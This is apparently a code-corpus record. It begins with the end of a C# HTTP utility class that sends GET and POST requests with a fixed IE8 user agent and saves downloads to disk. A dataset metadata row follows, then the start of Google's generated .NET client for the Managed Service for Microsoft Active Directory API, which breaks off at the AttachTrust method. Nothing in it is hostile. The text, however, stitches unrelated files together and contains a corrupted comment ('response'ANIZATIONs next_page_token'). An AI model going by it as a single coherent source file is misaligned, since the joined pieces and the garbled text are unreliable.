}
/* get url's response
* */
public HttpWebResponse getUrlResponse(string url,
Dictionary<string, string> headerDict,
Dictionary<string, string> postDict,
int timeout,
string postDataStr)
{
//CookieCollection parsedCookies;
HttpWebResponse resp = null;
HttpWebRequest req = (HttpWebRequest)WebRequest.Create(url);
req.AllowAutoRedirect = true;
req.Accept = "*/*";
//const string gAcceptLanguage = "en-US"; // zh-CN/en-US
//req.Headers["Accept-Language"] = gAcceptLanguage;
req.KeepAlive = true;
//IE8
const string gUserAgent = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E";
//IE9
//const string gUserAgent = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)"; // x64
//const string gUserAgent = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"; // x86
//const string gUserAgent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)";
//Chrome
//const string gUserAgent = "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4";
//Mozilla Firefox
//const string gUserAgent = "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6";
req.UserAgent = gUserAgent;
req.Headers["Accept-Encoding"] = "gzip, deflate";
req.AutomaticDecompression = DecompressionMethods.GZip;
req.Proxy = null;
if (timeout > 0)
{
req.Timeout = timeout;
}
if (curCookies != null)
{
req.CookieContainer = new CookieContainer();
req.CookieContainer.PerDomainCapacity = 40; // following will exceed max default 20 cookie per domain
req.CookieContainer.Add(curCookies);
}
if (headerDict != null)
{
foreach (string header in headerDict.Keys)
{
string headerValue = "";
if (headerDict.TryGetValue(header, out headerValue))
{
// following are allow the caller overwrite the default header setting
if (header.ToLower() == "referer")
{
req.Referer = headerValue;
}
else if (header.ToLower() == "allowautoredirect")
{
bool isAllow = false;
if (bool.TryParse(headerValue, out isAllow))
{
req.AllowAutoRedirect = isAllow;
}
}
else if (header.ToLower() == "accept")
{
req.Accept = headerValue;
}
else if (header.ToLower() == "keepalive")
{
bool isKeepAlive = false;
if (bool.TryParse(headerValue, out isKeepAlive))
{
req.KeepAlive = isKeepAlive;
}
}
else if (header.ToLower() == "accept-language")
{
req.Headers["Accept-Language"] = headerValue;
}
else if (header.ToLower() == "useragent")
{
req.UserAgent = headerValue;
}
else
{
req.Headers[header] = headerValue;
}
}
else
{
break;
}
}
}
if (postDict != null || postDataStr != "")
{
req.Method = "POST";
req.ContentType = "application/x-www-form-urlencoded";
if (postDict != null)
{
postDataStr = quoteParas(postDict);
}
//byte[] postBytes = Encoding.GetEncoding("utf-8").GetBytes(postData);
byte[] postBytes = Encoding.UTF8.GetBytes(postDataStr);
req.ContentLength = postBytes.Length;
Stream postDataStream = req.GetRequestStream();
postDataStream.Write(postBytes, 0, postBytes.Length);
postDataStream.Close();
}
else
{
req.Method = "GET";
}
//may timeout, has fixed in:
//http://www.crifan.com/fixed_problem_sometime_httpwebrequest_getresponse_timeout/
resp = (HttpWebResponse)req.GetResponse();
updateLocalCookies(resp.Cookies, ref curCookies);
return resp;
}
public HttpWebResponse getUrlResponse(string url,
Dictionary<string, string> headerDict,
Dictionary<string, string> postDict)
{
return getUrlResponse(url, headerDict, postDict, 0, "");
}
public HttpWebResponse getUrlResponse(string url)
{
return getUrlResponse(url, null, null, 0, "");
}
// valid charset:"GB18030"/"UTF-8", invliad:"UTF8"
public string getUrlRespHtml(string url,
Dictionary<string, string> headerDict,
string charset,
Dictionary<string, string> postDict,
int timeout,
string postDataStr)
{
string respHtml = "";
//HttpWebResponse resp = getUrlResponse(url, headerDict, postDict, timeout);
HttpWebResponse resp = getUrlResponse(url, headerDict, postDict, timeout, postDataStr);
//long realRespLen = resp.ContentLength;
StreamReader sr;
if ((charset != null) && (charset != ""))
{
Encoding htmlEncoding = Encoding.GetEncoding(charset);
sr = new StreamReader(resp.GetResponseStream(), htmlEncoding);
}
else
{
sr = new StreamReader(resp.GetResponseStream());
}
respHtml = sr.ReadToEnd();
return respHtml;
}
public string getUrlRespHtml(string url, Dictionary<string, string> headerDict, string charset, Dictionary<string, string> postDict, string postDataStr)
{
return getUrlRespHtml(url, headerDict, charset, postDict, 0, postDataStr);
}
public string getUrlRespHtml(string url, Dictionary<string, string> headerDict, string charset, Dictionary<string, string> postDict)
{
return getUrlRespHtml(url, headerDict, charset, postDict, 0, "");
}
public string getUrlRespHtml(string url, Dictionary<string, string> headerDict, Dictionary<string, string> postDict)
{
return getUrlRespHtml(url, headerDict, "", postDict, "");
}
public string getUrlRespHtml(string url, Dictionary<string, string> headerDict)
{
return getUrlRespHtml(url, headerDict, null);
}
public string getUrlRespHtml(string url, string charset, int timeout)
{
return getUrlRespHtml(url, null, charset, null, timeout, "");
}
public string getUrlRespHtml(string url, string charset)
{
return getUrlRespHtml(url, charset, 0);
}
public string getUrlRespHtml(string url)
{
return getUrlRespHtml(url, "");
}
public int getUrlRespStreamBytes(ref Byte[] respBytesBuf,
string url,
Dictionary<string, string> headerDict,
Dictionary<string, string> postDict,
int timeout)
{
int curReadoutLen;
int curBufPos = 0;
int realReadoutLen = 0;
try
{
//HttpWebResponse resp = getUrlResponse(url, headerDict, postDict, timeout);
HttpWebResponse resp = getUrlResponse(url, headerDict, postDict);
int expectReadoutLen = (int)resp.ContentLength;
Stream binStream = resp.GetResponseStream();
//int streamDataLen = (int)binStream.Length; // erro: not support seek operation
do
{
// here download logic is:
// once request, return some data
// request multiple time, until no more data
curReadoutLen = binStream.Read(respBytesBuf, curBufPos, expectReadoutLen);
if (curReadoutLen > 0)
{
curBufPos += curReadoutLen;
expectReadoutLen = expectReadoutLen - curReadoutLen;
realReadoutLen += curReadoutLen;
}
} while (curReadoutLen > 0);
}
catch
{
realReadoutLen = -1;
}
return realReadoutLen;
}
/*********************************************************************/
/* File */
/*********************************************************************/
//save binary bytes into file
public bool saveBytesToFile(string fileToSave, ref Byte[] bytes, int dataLen, out string errStr)
{
bool saveOk = false;
errStr = "未知错误!";
try
{
int bufStartPos = 0;
int bytesToWrite = dataLen;
FileStream fs;
fs = File.Create(fileToSave, bytesToWrite);
fs.Write(bytes, bufStartPos, bytesToWrite);
fs.Close();
saveOk = true;
}
catch (Exception ex)
{
errStr = ex.Message;
}
return saveOk;
}
}
}
| 40.714946 | 3,734 | 0.489536 | [
"MIT"
] | JerryXia/ML | src/ML.Utils/CookieParse.cs | 52,860 | C# |
// Copyright 2021 Google LLC
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// https://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// Generated code. DO NOT EDIT!
namespace Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1
{
/// <summary>The ManagedServiceforMicrosoftActiveDirectoryConsumerAPI Service.</summary>
public class ManagedServiceforMicrosoftActiveDirectoryConsumerAPIService : Google.Apis.Services.BaseClientService
{
/// <summary>The API version.</summary>
public const string Version = "v1beta1";
/// <summary>The discovery version used to generate this service.</summary>
public static Google.Apis.Discovery.DiscoveryVersion DiscoveryVersionUsed = Google.Apis.Discovery.DiscoveryVersion.Version_1_0;
/// <summary>Constructs a new service.</summary>
public ManagedServiceforMicrosoftActiveDirectoryConsumerAPIService() : this(new Google.Apis.Services.BaseClientService.Initializer())
{
}
/// <summary>Constructs a new service.</summary>
/// <param name="initializer">The service initializer.</param>
public ManagedServiceforMicrosoftActiveDirectoryConsumerAPIService(Google.Apis.Services.BaseClientService.Initializer initializer) : base(initializer)
{
Projects = new ProjectsResource(this);
}
/// <summary>Gets the service supported features.</summary>
public override System.Collections.Generic.IList<string> Features => new string[0];
/// <summary>Gets the service name.</summary>
public override string Name => "managedidentities";
/// <summary>Gets the service base URI.</summary>
public override string BaseUri =>
#if NETSTANDARD1_3 || NETSTANDARD2_0 || NET45
BaseUriOverride ?? "https://managedidentities.googleapis.com/";
#else
"https://managedidentities.googleapis.com/";
#endif
/// <summary>Gets the service base path.</summary>
public override string BasePath => "";
#if !NET40
/// <summary>Gets the batch base URI; <c>null</c> if unspecified.</summary>
public override string BatchUri => "https://managedidentities.googleapis.com/batch";
/// <summary>Gets the batch base path; <c>null</c> if unspecified.</summary>
public override string BatchPath => "batch";
#endif
/// <summary>
/// Available OAuth 2.0 scopes for use with the Managed Service for Microsoft Active Directory API.
/// </summary>
public class Scope
{
/// <summary>See, edit, configure, and delete your Google Cloud Platform data</summary>
public static string CloudPlatform = "https://www.googleapis.com/auth/cloud-platform";
}
/// <summary>
/// Available OAuth 2.0 scope constants for use with the Managed Service for Microsoft Active Directory API.
/// </summary>
public static class ScopeConstants
{
/// <summary>See, edit, configure, and delete your Google Cloud Platform data</summary>
public const string CloudPlatform = "https://www.googleapis.com/auth/cloud-platform";
}
/// <summary>Gets the Projects resource.</summary>
public virtual ProjectsResource Projects { get; }
}
/// <summary>A base abstract class for ManagedServiceforMicrosoftActiveDirectoryConsumerAPI requests.</summary>
public abstract class ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest<TResponse> : Google.Apis.Requests.ClientServiceRequest<TResponse>
{
/// <summary>
/// Constructs a new ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest instance.
/// </summary>
protected ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest(Google.Apis.Services.IClientService service) : base(service)
{
}
/// <summary>V1 error format.</summary>
[Google.Apis.Util.RequestParameterAttribute("$.xgafv", Google.Apis.Util.RequestParameterType.Query)]
public virtual System.Nullable<XgafvEnum> Xgafv { get; set; }
/// <summary>V1 error format.</summary>
public enum XgafvEnum
{
/// <summary>v1 error format</summary>
[Google.Apis.Util.StringValueAttribute("1")]
Value1 = 0,
/// <summary>v2 error format</summary>
[Google.Apis.Util.StringValueAttribute("2")]
Value2 = 1,
}
/// <summary>OAuth access token.</summary>
[Google.Apis.Util.RequestParameterAttribute("access_token", Google.Apis.Util.RequestParameterType.Query)]
public virtual string AccessToken { get; set; }
/// <summary>Data format for response.</summary>
[Google.Apis.Util.RequestParameterAttribute("alt", Google.Apis.Util.RequestParameterType.Query)]
public virtual System.Nullable<AltEnum> Alt { get; set; }
/// <summary>Data format for response.</summary>
public enum AltEnum
{
/// <summary>Responses with Content-Type of application/json</summary>
[Google.Apis.Util.StringValueAttribute("json")]
Json = 0,
/// <summary>Media download with context-dependent Content-Type</summary>
[Google.Apis.Util.StringValueAttribute("media")]
Media = 1,
/// <summary>Responses with Content-Type of application/x-protobuf</summary>
[Google.Apis.Util.StringValueAttribute("proto")]
Proto = 2,
}
/// <summary>JSONP</summary>
[Google.Apis.Util.RequestParameterAttribute("callback", Google.Apis.Util.RequestParameterType.Query)]
public virtual string Callback { get; set; }
/// <summary>Selector specifying which fields to include in a partial response.</summary>
[Google.Apis.Util.RequestParameterAttribute("fields", Google.Apis.Util.RequestParameterType.Query)]
public virtual string Fields { get; set; }
/// <summary>
/// API key. Your API key identifies your project and provides you with API access, quota, and reports. Required
/// unless you provide an OAuth 2.0 token.
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("key", Google.Apis.Util.RequestParameterType.Query)]
public virtual string Key { get; set; }
/// <summary>OAuth 2.0 token for the current user.</summary>
[Google.Apis.Util.RequestParameterAttribute("oauth_token", Google.Apis.Util.RequestParameterType.Query)]
public virtual string OauthToken { get; set; }
/// <summary>Returns response with indentations and line breaks.</summary>
[Google.Apis.Util.RequestParameterAttribute("prettyPrint", Google.Apis.Util.RequestParameterType.Query)]
public virtual System.Nullable<bool> PrettyPrint { get; set; }
/// <summary>
/// Available to use for quota purposes for server-side applications. Can be any arbitrary string assigned to a
/// user, but should not exceed 40 characters.
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("quotaUser", Google.Apis.Util.RequestParameterType.Query)]
public virtual string QuotaUser { get; set; }
/// <summary>Legacy upload protocol for media (e.g. "media", "multipart").</summary>
[Google.Apis.Util.RequestParameterAttribute("uploadType", Google.Apis.Util.RequestParameterType.Query)]
public virtual string UploadType { get; set; }
/// <summary>Upload protocol for media (e.g. "raw", "multipart").</summary>
[Google.Apis.Util.RequestParameterAttribute("upload_protocol", Google.Apis.Util.RequestParameterType.Query)]
public virtual string UploadProtocol { get; set; }
/// <summary>Initializes ManagedServiceforMicrosoftActiveDirectoryConsumerAPI parameter list.</summary>
protected override void InitParameters()
{
base.InitParameters();
RequestParameters.Add("$.xgafv", new Google.Apis.Discovery.Parameter
{
Name = "$.xgafv",
IsRequired = false,
ParameterType = "query",
DefaultValue = null,
Pattern = null,
});
RequestParameters.Add("access_token", new Google.Apis.Discovery.Parameter
{
Name = "access_token",
IsRequired = false,
ParameterType = "query",
DefaultValue = null,
Pattern = null,
});
RequestParameters.Add("alt", new Google.Apis.Discovery.Parameter
{
Name = "alt",
IsRequired = false,
ParameterType = "query",
DefaultValue = "json",
Pattern = null,
});
RequestParameters.Add("callback", new Google.Apis.Discovery.Parameter
{
Name = "callback",
IsRequired = false,
ParameterType = "query",
DefaultValue = null,
Pattern = null,
});
RequestParameters.Add("fields", new Google.Apis.Discovery.Parameter
{
Name = "fields",
IsRequired = false,
ParameterType = "query",
DefaultValue = null,
Pattern = null,
});
RequestParameters.Add("key", new Google.Apis.Discovery.Parameter
{
Name = "key",
IsRequired = false,
ParameterType = "query",
DefaultValue = null,
Pattern = null,
});
RequestParameters.Add("oauth_token", new Google.Apis.Discovery.Parameter
{
Name = "oauth_token",
IsRequired = false,
ParameterType = "query",
DefaultValue = null,
Pattern = null,
});
RequestParameters.Add("prettyPrint", new Google.Apis.Discovery.Parameter
{
Name = "prettyPrint",
IsRequired = false,
ParameterType = "query",
DefaultValue = "true",
Pattern = null,
});
RequestParameters.Add("quotaUser", new Google.Apis.Discovery.Parameter
{
Name = "quotaUser",
IsRequired = false,
ParameterType = "query",
DefaultValue = null,
Pattern = null,
});
RequestParameters.Add("uploadType", new Google.Apis.Discovery.Parameter
{
Name = "uploadType",
IsRequired = false,
ParameterType = "query",
DefaultValue = null,
Pattern = null,
});
RequestParameters.Add("upload_protocol", new Google.Apis.Discovery.Parameter
{
Name = "upload_protocol",
IsRequired = false,
ParameterType = "query",
DefaultValue = null,
Pattern = null,
});
}
}
/// <summary>The "projects" collection of methods.</summary>
public class ProjectsResource
{
private const string Resource = "projects";
/// <summary>The service which this resource belongs to.</summary>
private readonly Google.Apis.Services.IClientService service;
/// <summary>Constructs a new resource.</summary>
public ProjectsResource(Google.Apis.Services.IClientService service)
{
this.service = service;
Locations = new LocationsResource(service);
}
/// <summary>Gets the Locations resource.</summary>
public virtual LocationsResource Locations { get; }
/// <summary>The "locations" collection of methods.</summary>
public class LocationsResource
{
private const string Resource = "locations";
/// <summary>The service which this resource belongs to.</summary>
private readonly Google.Apis.Services.IClientService service;
/// <summary>Constructs a new resource.</summary>
public LocationsResource(Google.Apis.Services.IClientService service)
{
this.service = service;
Global = new GlobalResource(service);
}
/// <summary>Gets the Global resource.</summary>
public virtual GlobalResource Global { get; }
/// <summary>The "global" collection of methods.</summary>
public class GlobalResource
{
private const string Resource = "global";
/// <summary>The service which this resource belongs to.</summary>
private readonly Google.Apis.Services.IClientService service;
/// <summary>Constructs a new resource.</summary>
public GlobalResource(Google.Apis.Services.IClientService service)
{
this.service = service;
Domains = new DomainsResource(service);
Operations = new OperationsResource(service);
Peerings = new PeeringsResource(service);
}
/// <summary>Gets the Domains resource.</summary>
public virtual DomainsResource Domains { get; }
/// <summary>The "domains" collection of methods.</summary>
public class DomainsResource
{
private const string Resource = "domains";
/// <summary>The service which this resource belongs to.</summary>
private readonly Google.Apis.Services.IClientService service;
/// <summary>Constructs a new resource.</summary>
public DomainsResource(Google.Apis.Services.IClientService service)
{
this.service = service;
Backups = new BackupsResource(service);
SqlIntegrations = new SqlIntegrationsResource(service);
}
/// <summary>Gets the Backups resource.</summary>
public virtual BackupsResource Backups { get; }
/// <summary>The "backups" collection of methods.</summary>
public class BackupsResource
{
private const string Resource = "backups";
/// <summary>The service which this resource belongs to.</summary>
private readonly Google.Apis.Services.IClientService service;
/// <summary>Constructs a new resource.</summary>
public BackupsResource(Google.Apis.Services.IClientService service)
{
this.service = service;
}
/// <summary>
/// Gets the access control policy for a resource. Returns an empty policy if the resource
/// exists and does not have a policy set.
/// </summary>
/// <param name="resource">
/// REQUIRED: The resource for which the policy is being requested. See the operation
/// documentation for the appropriate value for this field.
/// </param>
public virtual GetIamPolicyRequest GetIamPolicy(string resource)
{
return new GetIamPolicyRequest(service, resource);
}
/// <summary>
/// Gets the access control policy for a resource. Returns an empty policy if the resource
/// exists and does not have a policy set.
/// </summary>
public class GetIamPolicyRequest : ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest<Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.Policy>
{
/// <summary>Constructs a new GetIamPolicy request.</summary>
public GetIamPolicyRequest(Google.Apis.Services.IClientService service, string resource) : base(service)
{
Resource = resource;
InitParameters();
}
/// <summary>
/// REQUIRED: The resource for which the policy is being requested. See the operation
/// documentation for the appropriate value for this field.
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("resource", Google.Apis.Util.RequestParameterType.Path)]
public virtual string Resource { get; private set; }
/// <summary>
/// Optional. The policy format version to be returned. Valid values are 0, 1, and 3.
/// Requests specifying an invalid value will be rejected. Requests for policies with any
/// conditional bindings must specify version 3. Policies without any conditional bindings
/// may specify any valid value or leave the field unset. To learn which resources support
/// conditions in their IAM policies, see the [IAM
/// documentation](https://cloud.google.com/iam/help/conditions/resource-policies).
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("options.requestedPolicyVersion", Google.Apis.Util.RequestParameterType.Query)]
public virtual System.Nullable<int> OptionsRequestedPolicyVersion { get; set; }
/// <summary>Gets the method name.</summary>
public override string MethodName => "getIamPolicy";
/// <summary>Gets the HTTP method.</summary>
public override string HttpMethod => "GET";
/// <summary>Gets the REST path.</summary>
public override string RestPath => "v1beta1/{+resource}:getIamPolicy";
/// <summary>Initializes GetIamPolicy parameter list.</summary>
protected override void InitParameters()
{
base.InitParameters();
RequestParameters.Add("resource", new Google.Apis.Discovery.Parameter
{
Name = "resource",
IsRequired = true,
ParameterType = "path",
DefaultValue = null,
Pattern = @"^projects/[^/]+/locations/global/domains/[^/]+/backups/[^/]+$",
});
RequestParameters.Add("options.requestedPolicyVersion", new Google.Apis.Discovery.Parameter
{
Name = "options.requestedPolicyVersion",
IsRequired = false,
ParameterType = "query",
DefaultValue = null,
Pattern = null,
});
}
}
/// <summary>
/// Sets the access control policy on the specified resource. Replaces any existing policy. Can
/// return `NOT_FOUND`, `INVALID_ARGUMENT`, and `PERMISSION_DENIED` errors.
/// </summary>
/// <param name="body">The body of the request.</param>
/// <param name="resource">
/// REQUIRED: The resource for which the policy is being specified. See the operation
/// documentation for the appropriate value for this field.
/// </param>
public virtual SetIamPolicyRequest SetIamPolicy(Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.SetIamPolicyRequest body, string resource)
{
return new SetIamPolicyRequest(service, body, resource);
}
/// <summary>
/// Sets the access control policy on the specified resource. Replaces any existing policy. Can
/// return `NOT_FOUND`, `INVALID_ARGUMENT`, and `PERMISSION_DENIED` errors.
/// </summary>
public class SetIamPolicyRequest : ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest<Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.Policy>
{
/// <summary>Constructs a new SetIamPolicy request.</summary>
public SetIamPolicyRequest(Google.Apis.Services.IClientService service, Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.SetIamPolicyRequest body, string resource) : base(service)
{
Resource = resource;
Body = body;
InitParameters();
}
/// <summary>
/// REQUIRED: The resource for which the policy is being specified. See the operation
/// documentation for the appropriate value for this field.
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("resource", Google.Apis.Util.RequestParameterType.Path)]
public virtual string Resource { get; private set; }
/// <summary>Gets or sets the body of this request.</summary>
Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.SetIamPolicyRequest Body { get; set; }
/// <summary>Returns the body of the request.</summary>
protected override object GetBody() => Body;
/// <summary>Gets the method name.</summary>
public override string MethodName => "setIamPolicy";
/// <summary>Gets the HTTP method.</summary>
public override string HttpMethod => "POST";
/// <summary>Gets the REST path.</summary>
public override string RestPath => "v1beta1/{+resource}:setIamPolicy";
/// <summary>Initializes SetIamPolicy parameter list.</summary>
protected override void InitParameters()
{
base.InitParameters();
RequestParameters.Add("resource", new Google.Apis.Discovery.Parameter
{
Name = "resource",
IsRequired = true,
ParameterType = "path",
DefaultValue = null,
Pattern = @"^projects/[^/]+/locations/global/domains/[^/]+/backups/[^/]+$",
});
}
}
/// <summary>
/// Returns permissions that a caller has on the specified resource. If the resource does not
/// exist, this will return an empty set of permissions, not a `NOT_FOUND` error. Note: This
/// operation is designed to be used for building permission-aware UIs and command-line tools,
/// not for authorization checking. This operation may "fail open" without warning.
/// </summary>
/// <param name="body">The body of the request.</param>
/// <param name="resource">
/// REQUIRED: The resource for which the policy detail is being requested. See the operation
/// documentation for the appropriate value for this field.
/// </param>
public virtual TestIamPermissionsRequest TestIamPermissions(Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.TestIamPermissionsRequest body, string resource)
{
return new TestIamPermissionsRequest(service, body, resource);
}
/// <summary>
/// Returns permissions that a caller has on the specified resource. If the resource does not
/// exist, this will return an empty set of permissions, not a `NOT_FOUND` error. Note: This
/// operation is designed to be used for building permission-aware UIs and command-line tools,
/// not for authorization checking. This operation may "fail open" without warning.
/// </summary>
public class TestIamPermissionsRequest : ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest<Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.TestIamPermissionsResponse>
{
/// <summary>Constructs a new TestIamPermissions request.</summary>
public TestIamPermissionsRequest(Google.Apis.Services.IClientService service, Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.TestIamPermissionsRequest body, string resource) : base(service)
{
Resource = resource;
Body = body;
InitParameters();
}
/// <summary>
/// REQUIRED: The resource for which the policy detail is being requested. See the operation
/// documentation for the appropriate value for this field.
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("resource", Google.Apis.Util.RequestParameterType.Path)]
public virtual string Resource { get; private set; }
/// <summary>Gets or sets the body of this request.</summary>
Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.TestIamPermissionsRequest Body { get; set; }
/// <summary>Returns the body of the request.</summary>
protected override object GetBody() => Body;
/// <summary>Gets the method name.</summary>
public override string MethodName => "testIamPermissions";
/// <summary>Gets the HTTP method.</summary>
public override string HttpMethod => "POST";
/// <summary>Gets the REST path.</summary>
public override string RestPath => "v1beta1/{+resource}:testIamPermissions";
/// <summary>Initializes TestIamPermissions parameter list.</summary>
protected override void InitParameters()
{
base.InitParameters();
RequestParameters.Add("resource", new Google.Apis.Discovery.Parameter
{
Name = "resource",
IsRequired = true,
ParameterType = "path",
DefaultValue = null,
Pattern = @"^projects/[^/]+/locations/global/domains/[^/]+/backups/[^/]+$",
});
}
}
}
/// <summary>Gets the SqlIntegrations resource.</summary>
public virtual SqlIntegrationsResource SqlIntegrations { get; }
/// <summary>The "sqlIntegrations" collection of methods.</summary>
public class SqlIntegrationsResource
{
private const string Resource = "sqlIntegrations";
/// <summary>The service which this resource belongs to.</summary>
private readonly Google.Apis.Services.IClientService service;
/// <summary>Constructs a new resource.</summary>
public SqlIntegrationsResource(Google.Apis.Services.IClientService service)
{
this.service = service;
}
/// <summary>Gets details of a single sqlIntegration.</summary>
/// <param name="name">
/// Required. SqlIntegration resource name using the form:
/// `projects/{project_id}/locations/global/domains/*/sqlIntegrations/{name}`
/// </param>
public virtual GetRequest Get(string name)
{
return new GetRequest(service, name);
}
/// <summary>Gets details of a single sqlIntegration.</summary>
public class GetRequest : ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest<Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.SqlIntegration>
{
/// <summary>Constructs a new Get request.</summary>
public GetRequest(Google.Apis.Services.IClientService service, string name) : base(service)
{
Name = name;
InitParameters();
}
/// <summary>
/// Required. SqlIntegration resource name using the form:
/// `projects/{project_id}/locations/global/domains/*/sqlIntegrations/{name}`
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("name", Google.Apis.Util.RequestParameterType.Path)]
public virtual string Name { get; private set; }
/// <summary>Gets the method name.</summary>
public override string MethodName => "get";
/// <summary>Gets the HTTP method.</summary>
public override string HttpMethod => "GET";
/// <summary>Gets the REST path.</summary>
public override string RestPath => "v1beta1/{+name}";
/// <summary>Initializes Get parameter list.</summary>
protected override void InitParameters()
{
base.InitParameters();
RequestParameters.Add("name", new Google.Apis.Discovery.Parameter
{
Name = "name",
IsRequired = true,
ParameterType = "path",
DefaultValue = null,
Pattern = @"^projects/[^/]+/locations/global/domains/[^/]+/sqlIntegrations/[^/]+$",
});
}
}
/// <summary>Lists SqlIntegrations in a given domain.</summary>
/// <param name="parent">
/// Required. The resource name of the SqlIntegrations using the form:
/// `projects/{project_id}/locations/global/domains/*`
/// </param>
public virtual ListRequest List(string parent)
{
return new ListRequest(service, parent);
}
/// <summary>Lists SqlIntegrations in a given domain.</summary>
public class ListRequest : ManagedServiceforMicrosoftActiveDirectoryConsumerAPIBaseServiceRequest<Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.ListSqlIntegrationsResponse>
{
/// <summary>Constructs a new List request.</summary>
public ListRequest(Google.Apis.Services.IClientService service, string parent) : base(service)
{
Parent = parent;
InitParameters();
}
/// <summary>
/// Required. The resource name of the SqlIntegrations using the form:
/// `projects/{project_id}/locations/global/domains/*`
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("parent", Google.Apis.Util.RequestParameterType.Path)]
public virtual string Parent { get; private set; }
/// <summary>
/// Optional. Filter specifying constraints of a list operation. For example,
/// `SqlIntegration.name="sql"`.
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("filter", Google.Apis.Util.RequestParameterType.Query)]
public virtual string Filter { get; set; }
/// <summary>
/// Optional. Specifies the ordering of results following syntax at
/// https://cloud.google.com/apis/design/design_patterns#sorting_order.
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("orderBy", Google.Apis.Util.RequestParameterType.Query)]
public virtual string OrderBy { get; set; }
/// <summary>
/// Optional. The maximum number of items to return. If not specified, a default value of
/// 1000 will be used by the service. Regardless of the page_size value, the response may
/// include a partial list and a caller should only rely on response'ANIZATIONs
/// next_page_token to determine if there are more instances left to be queried.
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("pageSize", Google.Apis.Util.RequestParameterType.Query)]
public virtual System.Nullable<int> PageSize { get; set; }
/// <summary>
/// Optional. The next_page_token value returned from a previous List request, if any.
/// </summary>
[Google.Apis.Util.RequestParameterAttribute("pageToken", Google.Apis.Util.RequestParameterType.Query)]
public virtual string PageToken { get; set; }
/// <summary>Gets the method name.</summary>
public override string MethodName => "list";
/// <summary>Gets the HTTP method.</summary>
public override string HttpMethod => "GET";
/// <summary>Gets the REST path.</summary>
public override string RestPath => "v1beta1/{+parent}/sqlIntegrations";
/// <summary>Initializes List parameter list.</summary>
protected override void InitParameters()
{
base.InitParameters();
RequestParameters.Add("parent", new Google.Apis.Discovery.Parameter
{
Name = "parent",
IsRequired = true,
ParameterType = "path",
DefaultValue = null,
Pattern = @"^projects/[^/]+/locations/global/domains/[^/]+$",
});
RequestParameters.Add("filter", new Google.Apis.Discovery.Parameter
{
Name = "filter",
IsRequired = false,
ParameterType = "query",
DefaultValue = null,
Pattern = null,
});
RequestParameters.Add("orderBy", new Google.Apis.Discovery.Parameter
{
Name = "orderBy",
IsRequired = false,
ParameterType = "query",
DefaultValue = null,
Pattern = null,
});
RequestParameters.Add("pageSize", new Google.Apis.Discovery.Parameter
{
Name = "pageSize",
IsRequired = false,
ParameterType = "query",
DefaultValue = null,
Pattern = null,
});
RequestParameters.Add("pageToken", new Google.Apis.Discovery.Parameter
{
Name = "pageToken",
IsRequired = false,
ParameterType = "query",
DefaultValue = null,
Pattern = null,
});
}
}
}
/// <summary>Adds an AD trust to a domain.</summary>
/// <param name="body">The body of the request.</param>
/// <param name="name">
/// Required. The resource domain name, project name and location using the form:
/// `projects/{project_id}/locations/global/domains/{domain_name}`
/// </param>
public virtual AttachTrustRequest AttachTrust(Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.Data.AttachTrustRequest body, string name)
{
return new AttachTrustRequest(service, body, name);
}
/// <summary>Adds an AD trust to a domain.</summary>
